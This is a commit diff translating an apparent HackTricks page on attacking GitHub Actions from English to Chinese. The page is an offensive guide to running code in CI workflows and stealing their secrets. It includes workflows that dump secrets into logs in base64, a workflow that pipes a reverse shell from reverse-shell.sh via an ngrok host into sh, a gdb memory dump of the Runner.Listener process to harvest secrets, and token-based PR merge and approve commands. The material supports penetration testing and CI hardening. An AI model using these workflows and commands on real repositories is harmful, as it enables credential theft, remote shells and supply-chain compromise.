Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/

This commit is contained in:
Translator
2024-12-31 20:05:38 +00:00
parent 94f24df656
commit 1e9dcd664b
245 changed files with 10145 additions and 12880 deletions

View File

@@ -4,389 +4,371 @@
## Basic Information
In this page you will find:
在此页面中,您将找到:
- A **summary of all the impacts** of an attacker managing to access a Github Action
- Different ways to **get access to an action**:
- Having **permissions** to create the action
- Abusing **pull request** related triggers
- Abusing **other external access** techniques
- **Pivoting** from an already compromised repo
- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts)
- 攻击者成功访问 Github Action 的所有影响的 **摘要**
- 不同的 **获取访问权限** 的方式:
- 拥有 **创建 action** **权限**
- 滥用与 **pull request** 相关的触发器
- 滥用 **其他外部访问** 技术
- 从已被攻陷的仓库进行 **横向移动**
- 最后,关于 **从内部滥用 action 的后期利用技术** 的一节(导致上述影响)
## Impacts Summary
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
有关 [**Github Actions 的基本信息**](../basic-github-information.md#github-actions) 的介绍。
If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to:
如果您可以在 **仓库****执行任意代码**,您可能能够:
- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
- **Compromise deployments** and other **artifacts**.
- If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack.
- **Execute code in custom workers** to abuse computing power and pivot to other systems.
- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`.
- **窃取秘密**,并 **滥用管道的权限** 以获得对外部平台(如 AWS GCP)的未授权访问。
- **破坏部署** 和其他 **工件**
- 如果管道部署或存储资产,您可以更改最终产品,从而启用供应链攻击。
- **在自定义工作节点中执行代码**,以滥用计算能力并横向移动到其他系统。
- **覆盖仓库代码**,具体取决于与 `GITHUB_TOKEN` 相关的权限。
## GITHUB_TOKEN
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
这个 "**秘密**"(来自 `${{ secrets.GITHUB_TOKEN }}` `${{ github.token }}`)是在管理员启用此选项时提供的:
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
此令牌与 **Github 应用程序使用的令牌相同**,因此可以访问相同的端点:[https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
> Github 应该发布一个 [**流程**](https://github.com/github/roadmap/issues/74)**允许跨仓库** 访问 GitHub以便一个仓库可以使用 `GITHUB_TOKEN` 访问其他内部仓库。
You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
您可以在以下链接查看此令牌的可能 **权限**[https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Note that the token **expires after the job has completed**.\
These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
请注意,令牌 **在作业完成后会过期**\
这些令牌的格式如下:`ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Some interesting things you can do with this token:
您可以使用此令牌执行的一些有趣操作:
{{#tabs }}
{{#tab name="Merge PR" }}
```bash
# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
```
{{#endtab }}
{{#tab name="Approve PR" }}
{{#tab name="批准 PR" }}
```bash
# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'
```
{{#endtab }}
{{#tab name="Create PR" }}
{{#tab name="创建 PR" }}
```bash
# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
```
{{#endtab }}
{{#endtabs }}
> [!CAUTION]
> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization.
> 请注意,在多个情况下,您将能够在 **Github Actions 环境或秘密中找到 github 用户令牌**。这些令牌可能会让您对存储库和组织拥有更多权限。
<details>
<summary>List secrets in Github Action output</summary>
<summary>列出 Github Action 输出中的秘密</summary>
```yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
<details>
<summary>Get reverse shell with secrets</summary>
<summary>通过秘密获取反向 shell</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
可以通过**检查日志**来查看其他用户仓库中Github Token的权限
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
## Allowed Execution
## 允许的执行
> [!NOTE]
> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**.
> 这是妥协Github actions的最简单方法因为这种情况假设您有**在组织中创建新仓库的权限**,或对**某个仓库具有写权限**
>
> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
> 如果您处于这种情况,您可以查看[后期利用技术](./#post-exploitation-techniques-from-inside-an-action)
### Execution from Repo Creation
### 从仓库创建执行
In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**.
如果组织的成员可以**创建新仓库**并且您可以执行github actions您可以**创建一个新仓库并窃取在组织级别设置的秘密**。
### Execution from a New Branch
### 从新分支执行
If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called).
You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be):
如果您可以**在已经配置了Github Action的仓库中创建新分支**,您可以**修改**它,**上传**内容,然后**从新分支执行该操作**。这样您可以**提取仓库和组织级别的秘密**(但您需要知道它们的名称)。
您可以在**手动**时使修改后的操作可执行,当**创建PR时**或当**推送某些代码时**(取决于您想要多吵):
```yaml
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
```
---
## Forked Execution
> [!NOTE]
> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them.
> 有不同的触发器可以让攻击者**执行另一个仓库的Github Action**。如果这些可触发的操作配置不当,攻击者可能会利用它们。
### `pull_request`
The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow:
工作流触发器**`pull_request`**将在每次收到拉取请求时执行工作流,但有一些例外:默认情况下,如果这是您**第一次**进行**协作**,某些**维护者**需要**批准**工作流的**运行**
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**.
> 由于**默认限制**适用于**首次**贡献者,您可以通过**修复有效的错误/拼写错误**来贡献,然后发送**其他PR以滥用您新的`pull_request`权限**
>
> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
> **我测试过,这不管用**~~另一个选项是创建一个与曾经为该项目贡献的人同名的账户,然后删除他的账户。~~
Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
此外,默认情况下**防止写权限**和**对目标仓库的秘密访问**,如[**文档**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)中所述:
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
> 除了`GITHUB_TOKEN`**在从**`forked`**仓库触发工作流时,秘密不会传递给运行器**。在来自**forked repositories**的拉取请求中,**`GITHUB_TOKEN`具有只读权限**。
An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.
攻击者可以修改Github Action的定义以执行任意操作并附加任意操作。然而由于上述限制他将无法窃取秘密或覆盖仓库。
> [!CAUTION]
> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
> **是的如果攻击者在PR中更改将被触发的github action他的Github Action将被使用而不是源仓库的那个**
As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**.
由于攻击者还控制着被执行的代码,即使在`GITHUB_TOKEN`上没有秘密或写权限,攻击者也可以例如**上传恶意工件**。
### **`pull_request_target`**
The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission).
工作流触发器**`pull_request_target`**对目标仓库具有**写权限**和**对秘密的访问**(并且不需要请求权限)。
Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
请注意,工作流触发器**`pull_request_target`**在基础上下文中运行而不是在PR提供的上下文中以**不执行不受信任的代码**)。有关`pull_request_target`的更多信息,请[**查看文档**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)\
此外,关于这种特定危险用法的更多信息,请查看这篇[**github博客文章**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)
It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**.
看起来因为**执行的工作流**是定义在**基础**而**不是在PR**中的,所以使用**`pull_request_target`**是**安全的**,但有**一些情况并非如此**。
An this one will have **access to secrets**.
而且这个将具有**对秘密的访问**。
### `workflow_run`
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run)触发器允许在工作流`完成``请求``进行中`时从不同的工作流运行一个工作流。
在这个例子中,配置了一个工作流,在单独的“运行测试”工作流完成后运行:
```yaml
on:
workflow_run:
workflows: [Run Tests]
types:
- completed
workflow_run:
workflows: [Run Tests]
types:
- completed
```
此外,根据文档:由 `workflow_run` 事件启动的工作流能够 **访问秘密和写入令牌,即使之前的工作流没有**
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
这种工作流可能会受到攻击,如果它 **依赖** 于一个可以通过 **`pull_request`** 或 **`pull_request_target`** 被外部用户 **触发****工作流**。一些脆弱的示例可以在 [**这篇博客中找到**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** 第一个示例是 **`workflow_run`** 触发的工作流下载攻击者的代码:`${{ github.event.pull_request.head.sha }}`\
第二个示例是 **将** 一个 **工件****不受信任** 的代码传递到 **`workflow_run`** 工作流,并以使其 **易受 RCE 攻击** 的方式使用该工件的内容。
### `workflow_call`
TODO
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
TODO:检查从 pull_request 执行时使用/下载的代码是否来自原始或分叉的 PR
## Abusing Forked Execution
## 滥用分叉执行
We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
我们已经提到外部攻击者可以使 GitHub 工作流执行的所有方式,现在让我们看看这些执行如果配置不当,可能会被滥用的情况:
### Untrusted checkout execution
### 不受信任的检出执行
In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request).
**`pull_request`** 的情况下,工作流将在 **PR 的上下文中** 执行(因此它将执行 **恶意 PR 的代码**),但需要有人 **先授权**,并且它将运行时有一些 [限制](./#pull_request)
In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
如果工作流使用 **`pull_request_target` `workflow_run`**,并依赖于可以从 **`pull_request_target` `pull_request`** 触发的工作流,则将执行原始仓库中的代码,因此 **攻击者无法控制执行的代码**
> [!CAUTION]
> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
> 但是,如果 **action** 有一个 **显式的 PR 检出**,将 **从 PR 获取代码**(而不是从基础),它将使用攻击者控制的代码。例如(检查第 12 行,其中下载了 PR 代码):
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
<pre class="language-yaml"><code class="lang-yaml"># 不安全。仅作为示例提供。
on:
pull_request_target
pull_request_target
jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
<strong> - uses: actions/checkout@v2
</strong><strong> with:
</strong><strong> ref: ${{ github.event.pull_request.head.sha }}
</strong>
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
- uses: fakerepo/comment-on-pr@v1
with:
message: |
谢谢!
</code></pre>
The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
潜在的 **不受信任的代码在 `npm install` `npm build` 期间被运行**,因为构建脚本和引用的 **包由 PR 的作者控制**
> [!WARNING]
> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
> 搜索脆弱 actions 的 GitHub dork 是:`event.pull_request pull_request_target extension:yml`,但是,即使 action 配置不安全,也有不同的方法可以安全地配置要执行的作业(例如,使用关于谁是生成 PR 的参与者的条件)。
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
### 上下文脚本注入 <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
请注意,有某些 [**GitHub 上下文**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) 的值是由创建 PR 的 **用户** **控制** 的。如果 GitHub action 使用该 **数据执行任何操作**,可能会导致 **任意代码执行:**
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
### **GITHUB_ENV 脚本注入** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
根据文档:您可以通过定义或更新环境变量并将其写入 **`GITHUB_ENV`** 环境文件,使 **环境变量可用于工作流作业中的任何后续步骤**
If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
如果攻击者能够 **在此 env 变量中注入任何值**,他可以注入可以在后续步骤中执行代码的 env 变量,例如 **LD_PRELOAD** **NODE_OPTIONS**
For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
例如([**这个**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) [**这个**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)),想象一个工作流,它信任上传的工件将其内容存储在 **`GITHUB_ENV`** env 变量中。攻击者可以上传类似这样的内容来破坏它:
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
### Vulnerable Third Party Github Actions
### 脆弱的第三方 GitHub Actions
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
正如在 [**这篇博客文章**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) 中提到的,这个 GitHub Action 允许访问来自不同工作流甚至仓库的工件。
The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
Example of vulnerable workflow:
问题在于,如果 **`path`** 参数未设置,工件将提取到当前目录,并且可能会覆盖后续在工作流中使用或执行的文件。因此,如果工件是脆弱的,攻击者可以利用这一点来破坏其他信任该工件的工作流。
脆弱工作流的示例:
```yaml
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed
workflow_run:
workflows: ["some workflow"]
types:
- completed
jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
```
This could be attacked with this workflow:
这可以通过以下工作流进行攻击:
```yaml
name: "some workflow"
on: pull_request
jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
```
---
## Other External Access
## 其他外部访问
### Deleted Namespace Repo Hijacking
### 删除的命名空间仓库劫持
If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
如果一个账户更改了名称,其他用户在一段时间后可以注册一个相同名称的账户。如果一个仓库在更改名称之前的**星标少于100个**Github将允许新注册的用户使用相同的名称创建一个**与被删除的仓库同名的仓库**。
> [!CAUTION]
> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
> 因此,如果一个操作使用来自不存在账户的仓库,攻击者仍然有可能创建该账户并妥协该操作。
If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
如果其他仓库使用了**该用户仓库的依赖项**,攻击者将能够劫持它们。这里有一个更完整的解释:[https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Repo Pivoting
## 仓库转移
> [!NOTE]
> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
> 在本节中,我们将讨论允许**从一个仓库转移到另一个仓库**的技术,假设我们在第一个仓库上有某种访问权限(请查看前一节)。
### Cache Poisoning
### 缓存中毒
A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
在**同一分支的工作流运行之间**维护一个缓存。这意味着如果攻击者**妥协**了一个**包**,然后将其存储在缓存中,并被**更高权限的**工作流**下载**和执行,他将能够**妥协**该工作流。
{{#ref}}
gh-actions-cache-poisoning.md
{{#endref}}
### Artifact Poisoning
### 工件中毒
Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
工作流可以使用**来自其他工作流甚至仓库的工件**,如果攻击者设法**妥协**了上传工件的Github Action而该工件随后被另一个工作流使用他可以**妥协其他工作流**
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md
---
## Post Exploitation from an Action
## 从操作后的利用
### Accessing AWS and GCP via OIDC
### 通过OIDC访问AWS和GCP
Check the following pages:
查看以下页面:
{{#ref}}
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -408,170 +390,160 @@ Check the following pages:
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
### Accessing secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
### 访问秘密 <a href="#accessing-secrets" id="accessing-secrets"></a>
If you are injecting content into a script it's interesting to know how you can access secrets:
如果您正在向脚本中注入内容,了解如何访问秘密是很有趣的:
- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**.
- 如果秘密或令牌被设置为**环境变量**,可以通过环境直接使用**`printenv`**访问。
<details>
<summary>List secrets in Github Action output</summary>
<summary>Github Action输出中列出秘密</summary>
```yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
<details>
<summary>Get reverse shell with secrets</summary>
<summary>通过秘密获取反向 shell</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
- ```bash
cat /home/runner/work/_temp/*
```
- For a JavaScript actions the secrets and sent through environment variables
- ```bash
ps axe | grep node
```
- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
- 如果秘密**直接在表达式中使用**,生成的 shell 脚本将存储在**磁盘上**并可访问。
- ```bash
cat /home/runner/work/_temp/*
```
- 对于 JavaScript actions,秘密通过环境变量发送
- ```bash
ps axe | grep node
```
- 对于**自定义操作**,风险可能会有所不同,具体取决于程序如何使用从**参数**中获得的秘密:
```yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
```
```yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
```
### Abusing Self-hosted runners
### 滥用自托管运行器
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
查找**在非 GitHub 基础设施中执行的 GitHub Actions**的方法是搜索 GitHub Action 配置 yaml 中的**`runs-on: self-hosted`**。
**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
**自托管**运行器可能访问**额外的敏感信息**,访问其他**网络系统**(网络中的脆弱端点?元数据服务?)或者,即使它是隔离和销毁的,**可能会同时运行多个操作**,恶意操作可能会**窃取其他操作的秘密**。
在自托管运行器中,还可以通过转储其内存来获取**来自 \_Runner.Listener**\_\*\* 进程\*\* 的**秘密**,该进程将在任何步骤中包含工作流的所有秘密:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
